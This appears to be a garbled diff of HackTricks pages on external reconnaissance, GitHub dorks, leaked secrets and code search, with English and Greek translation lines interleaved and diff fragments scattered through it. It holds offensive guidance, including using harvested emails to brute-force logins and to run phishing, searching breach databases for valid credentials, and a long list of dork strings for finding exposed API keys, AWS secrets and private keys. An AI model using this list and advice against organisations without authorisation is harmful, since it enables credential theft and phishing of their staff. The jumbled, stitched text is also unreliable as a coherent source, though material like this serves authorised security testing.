* API of [**https://hunter.io/**](https://hunter.io/) (free version)
|
||||
* API of [**https://app.snov.io/**](https://app.snov.io/) (free version)
|
||||
* API of [**https://minelead.io/**](https://minelead.io/) (free version)
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - με APIs
|
||||
* API του [**https://hunter.io/**](https://hunter.io/) (δωρεάν έκδοση)
|
||||
* API του [**https://app.snov.io/**](https://app.snov.io/) (δωρεάν έκδοση)
|
||||
* API του [**https://minelead.io/**](https://minelead.io/) (δωρεάν έκδοση)
|
||||
|
||||
### **Looking for vulnerabilities**
|
||||
### **Αναζήτηση ευπαθειών**
|
||||
|
||||
Emails will come handy later to **brute-force web logins and auth services** (such as SSH). Also, they are needed for **phishings**. Moreover, these APIs will give you even more **info about the person** behind the email, which is useful for the phishing campaign.
|
||||
Τα emails θα σας φανούν χρήσιμα αργότερα για να **βρείτε τον κωδικό πρόσβασης του ιστοτόπου και τις υπηρεσίες πιστοποίησης** (όπως το SSH). Επίσης, χρειάζονται για **phishing**. Επιπλέον, αυτές οι APIs θα σας δώσουν ακόμη περισσότερες πληροφορίες για το άτομο πίσω από το email, που είναι χρήσιμο για την επίθεση phishing.
|
||||
## [**Μεθοδολογία Πεντεστινγκ Ιστού**](../../network-services-pentesting/pentesting-web/)
|
||||
|
||||
## Credential Leaks
|
||||
Η **πλειοψηφία των ευπαθειών** που ανακαλύπτουν οι κυνηγοί ευπαθειών βρίσκονται μέσα σε **ιστοσελίδες**, οπότε σε αυτό το σημείο θα ήθελα να μιλήσω για μια **μεθοδολογία δοκιμών ιστοσελίδων**, και μπορείτε να [**βρείτε αυτές τις πληροφορίες εδώ**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
With the **domains,** **subdomains**, and **emails** you can start looking for credentials leaked in the past belonging to those emails:
|
||||
Θέλω επίσης να κάνω μια ειδική αναφορά στην ενότητα [**Εργαλεία αυτόματης σάρωσης ιστοσελίδων ανοιχτού κώδικα**](../../network-services-pentesting/pentesting-web/#automatic-scanners), καθώς, αν και δεν πρέπει να αναμένετε να βρουν ευαίσθητες ευπαθείες, είναι χρήσιμα για να τα ενσωματώσετε σε **ροές εργασίας για να έχετε αρχικές πληροφορίες για τον ιστό**.
|
||||
|
||||
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||
* [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||
## Ανασκόπηση
|
||||
|
||||
### **Looking for vulnerabilities**
|
||||
> Συγχαρητήρια! Σε αυτό το σημείο έχετε ήδη πραγματοποιήσει **όλη τη βασική απαρίθμηση**. Ναι, είναι βασική επειδή μπορεί να γίνει πολλή περισσότερη απαρίθμηση (θα δούμε περισσότερα κόλπα αργότερα).
|
||||
|
||||
If you find **valid leaked** credentials, this is a very easy win.
|
||||
Έχετε ήδη:
|
||||
|
||||
## Secrets Leaks
|
||||
1. Βρει όλες τις **εταιρείες** που εμπίπτουν στο πεδίο εφαρμογής
|
||||
2. Βρει όλα τα **περιουσιακά στοιχεία** που ανήκουν στις εταιρείες (και πραγματοποιήσει μερικές ευπάθειες σάρωσης αν είναι στο πεδίο εφαρμογής)
|
||||
3. Βρει όλους τους **τομείς** που ανήκουν στις εταιρείες
|
||||
4. Βρει όλους τους **υποτομείς** των τομέων (υπάρχει κάποια κατάληψη υποτομέων;)
|
||||
5. Βρει όλες τις **διευθύνσεις IP** (από και **όχι από CDNs**) που εμπίπτουν στο πεδίο εφαρμογής.
|
||||
6. Βρει όλους τους **διακομιστές ιστού** και έκανε μια **στιγμιότυπη εικόνα** τους (υπάρχει κάτι περίεργο που αξίζει μια πιο λεπτομερή ματιά;)
|
||||
7. Βρει όλα τα **πιθανά δημόσια περιουσιακά στοιχεία στο cloud** που ανήκουν στην εταιρεία.
|
||||
8. **Ηλεκτρονικά ταχυδρομεία**, **διαρροές διαπιστευτηρίων** και **διαρροές μυστικών** που μπορούν να σας δώσουν μια **μεγάλη νίκη πολύ εύκολα**.
|
||||
9. **Πεντεστινγκ όλων των ιστοσελίδων που βρήκατε**
|
||||
|
||||
Credential leaks are related to hacks of companies where **sensitive information was leaked and sold**. However, companies might be affected for **other leaks** whose info isn't in those databases:
|
||||
## **Εργαλεία Αυτόματης Πλήρους Αναγνώρισης**
|
||||
|
||||
### Github Leaks
|
||||
|
||||
Credentials and APIs might be leaked in the **public repositories** of the **company** or of the **users** working by that github company.\
|
||||
You can use the **tool** [**Leakos**](https://github.com/carlospolop/Leakos) to **download** all the **public repos** of an **organization** and of its **developers** and run [**gitleaks**](https://github.com/zricethezav/gitleaks) over them automatically.
|
||||
|
||||
**Leakos** can also be used to run **gitleaks** agains all the **text** provided **URLs passed** to it as sometimes **web pages also contains secrets**.
|
||||
|
||||
#### Github Dorks
|
||||
|
||||
Check also this **page** for potential **github dorks** you could also search for in the organization you are attacking:
|
||||
|
||||
{% content-ref url="github-leaked-secrets.md" %}
|
||||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Pastes Leaks
|
||||
|
||||
Sometimes attackers or just workers will **publish company content in a paste site**. This might or might not contain **sensitive information**, but it's very interesting to search for it.\
|
||||
You can use the tool [**Pastos**](https://github.com/carlospolop/Pastos) to search in more that 80 paste sites at the same time.
|
||||
|
||||
### Google Dorks
|
||||
|
||||
Old but gold google dorks are always useful to find **exposed information that shouldn't be there**. The only problem is that the [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contains several **thousands** of possible queries that you cannot run manually. So, you can get your favourite 10 ones or you could use a **tool such as** [**Gorks**](https://github.com/carlospolop/Gorks) **to run them all**.
|
||||
|
||||
_Note that the tools that expect to run all the database using the regular Google browser will never end as google will block you very very soon._
|
||||
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
If you find **valid leaked** credentials or API tokens, this is a very easy win.
|
||||
|
||||
## Public Code Vulnerabilities
|
||||
|
||||
If you found that the company has **open-source code** you can **analyse** it and search for **vulnerabilities** on it.
|
||||
|
||||
**Depending on the language** there are different **tools** you can use:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %}
|
||||
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
There are also free services that allow you to **scan public repositories**, such as:
|
||||
|
||||
* [**Snyk**](https://app.snyk.io/)
|
||||
|
||||
## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/)
|
||||
|
||||
The **majority of the vulnerabilities** found by bug hunters resides inside **web applications**, so at this point I would like to talk about a **web application testing methodology**, and you can [**find this information here**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
I also want to do a special mention to the section [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), as, if you shouldn't expect them to find you very sensitive vulnerabilities, they come handy to implement them on **workflows to have some initial web information.**
|
||||
|
||||
## Recapitulation
|
||||
|
||||
> Congratulations! At this point you have already perform **all the basic enumeration**. Yes, it's basic because a lot more enumeration can be done (will see more tricks later).
|
||||
|
||||
So you have already:
|
||||
|
||||
1. Found all the **companies** inside the scope
|
||||
2. Found all the **assets** belonging to the companies (and perform some vuln scan if in scope)
|
||||
3. Found all the **domains** belonging to the companies
|
||||
4. Found all the **subdomains** of the domains (any subdomain takeover?)
|
||||
5. Found all the **IPs** (from and **not from CDNs**) inside the scope.
|
||||
6. Found all the **web servers** and took a **screenshot** of them (anything weird worth a deeper look?)
|
||||
7. Found all the **potential public cloud assets** belonging to the company.
|
||||
8. **Emails**, **credentials leaks**, and **secret leaks** that could give you a **big win very easily**.
|
||||
9. **Pentesting all the webs you found**
|
||||
|
||||
## **Full Recon Automatic Tools**
|
||||
|
||||
There are several tools out there that will perform part of the proposed actions against a given scope.
|
||||
Υπάρχουν πολλά εργαλεία εκεί έξω που θα εκτελέσουν μέρος των προτεινόμενων ενεργειών για ένα συγκεκριμένο πεδίο.
|
||||
|
||||
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
|
||||
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
|
||||
* [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)
|
||||
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - A little old and not updated
|
||||
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Λίγο παλιό και μη ενημερωμένο
|
||||
|
||||
## **References**
|
||||
## **Αναφορές**
|
||||
|
||||
* All free courses of [**@Jhaddix**](https://twitter.com/Jhaddix) like [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
* Όλα τα δωρεάν μαθήματα του [**@Jhaddix**](https://twitter.com/Jhaddix) όπως το [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
||||
**Συμβουλή για bug bounty**: **εγγραφείτε** στο **Intigriti**, μια προηγμένη **πλατφόρμα bug bounty που δημιουργήθηκε από χάκερς, για χάκερς**! Γίνετε μέλος μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε αμοιβές έως και **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,31 +1,31 @@
|
|||
# Github Dorks & Leaks
|
||||
# Github Dorks & Διαρροές
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
||||
**Συμβουλή για bug bounty**: **εγγραφείτε** στο **Intigriti**, μια προηγμένη **πλατφόρμα bug bounty που δημιουργήθηκε από χάκερς, για χάκερς**! Γίνετε μέλος μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε αμοιβές έως και **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
Now that we have built the list of assets of our scope it's time to search for some OSINT low-hanging fruits.
|
||||
Τώρα που έχουμε δημιουργήσει τη λίστα των περιουσιακών στοιχείων του πεδίου μας, είναι ώρα να αναζητήσουμε ορισμένα χαμηλά κρεμαστά φρούτα OSINT.
|
||||
|
||||
### Platforms that already searched for leaks
|
||||
### Πλατφόρμες που έχουν ήδη αναζητήσει για διαρροές
|
||||
|
||||
* [https://trufflesecurity.com/blog/introducing-forager/](https://trufflesecurity.com/blog/introducing-forager/)
|
||||
|
||||
### Api keys leaks in github
|
||||
### Διαρροές κλειδιών API στο github
|
||||
|
||||
* [https://github.com/dxa4481/truffleHog](https://github.com/dxa4481/truffleHog)
|
||||
* [https://github.com/gitleaks/gitleaks](https://github.com/gitleaks/gitleaks)
|
||||
|
@ -40,7 +40,6 @@ Now that we have built the list of assets of our scope it's time to search for s
|
|||
* [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker)
|
||||
|
||||
### **Dorks**
|
||||
|
||||
```bash
|
||||
".mlab.com password"
|
||||
"access_key"
|
||||
|
@ -322,17 +321,16 @@ GCP SECRET
|
|||
AWS SECRET
|
||||
"private" extension:pgp
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,43 +1,43 @@
|
|||
# Wide Source Code Search
|
||||
# Ευρετήριο Ευρεσης Πηγαίου Κώδικα
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
The goal of this page is to enumerate **platforms that allow to search for code** (literal or regex) in across thousands/millions of repos in one or more platforms.
|
||||
Ο στόχος αυτής της σελίδας είναι να απαριθμήσει **πλατφόρμες που επιτρέπουν την αναζήτηση κώδικα** (κυριολεκτικού ή regex) σε χιλιάδες/εκατομμύρια αποθετήρια σε μία ή περισσότερες πλατφόρμες.
|
||||
|
||||
This helps in several occasions to **search for leaked information** or for **vulnerabilities** patterns.
|
||||
Αυτό βοηθάει σε πολλές περιπτώσεις να **αναζητήσετε διαρροές πληροφοριών** ή πρότυπα **ευπαθειών**.
|
||||
|
||||
* [**SourceGraph**](https://sourcegraph.com/search): Search in millions of repos. There is a free version and an enterprise version (with 15 days free). It supports regexes.
|
||||
* [**Github Search**](https://github.com/search): Search across Github. It supports regexes.
|
||||
* Maybe it's also useful to check also [**Github Code Search**](https://cs.github.com/).
|
||||
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Search across Gitlab projects. Support regexes.
|
||||
* [**SearchCode**](https://searchcode.com/): Search code in millions of projects.
|
||||
* [**SourceGraph**](https://sourcegraph.com/search): Αναζήτηση σε εκατομμύρια αποθετήρια. Υπάρχει μια δωρεάν έκδοση και μια επιχειρησιακή έκδοση (με 15 ημέρες δωρεάν). Υποστηρίζει regexes.
|
||||
* [**Github Search**](https://github.com/search): Αναζήτηση στο Github. Υποστηρίζει regexes.
|
||||
* Ίσως είναι χρήσιμο να ελέγξετε επίσης την [**Github Code Search**](https://cs.github.com/).
|
||||
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Αναζήτηση σε έργα Gitlab. Υποστηρίζει regexes.
|
||||
* [**SearchCode**](https://searchcode.com/): Αναζήτηση κώδικα σε εκατομμύρια έργα.
|
||||
|
||||
{% hint style="warning" %}
|
||||
When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
|
||||
Όταν αναζητάτε διαρροές σε ένα αποθετήριο και εκτελείτε κάτι σαν `git log -p` μην ξεχάσετε ότι μπορεί να υπάρχουν **άλλα branches με άλλες ενσωματωμένες δεσμεύσεις** που περιέχουν μυστικά!
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,176 +1,113 @@
|
|||
# Pentesting Methodology
|
||||
# Μεθοδολογία Πεντεστινγκ
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) **και** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **αποθετήρια του github.**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
||||
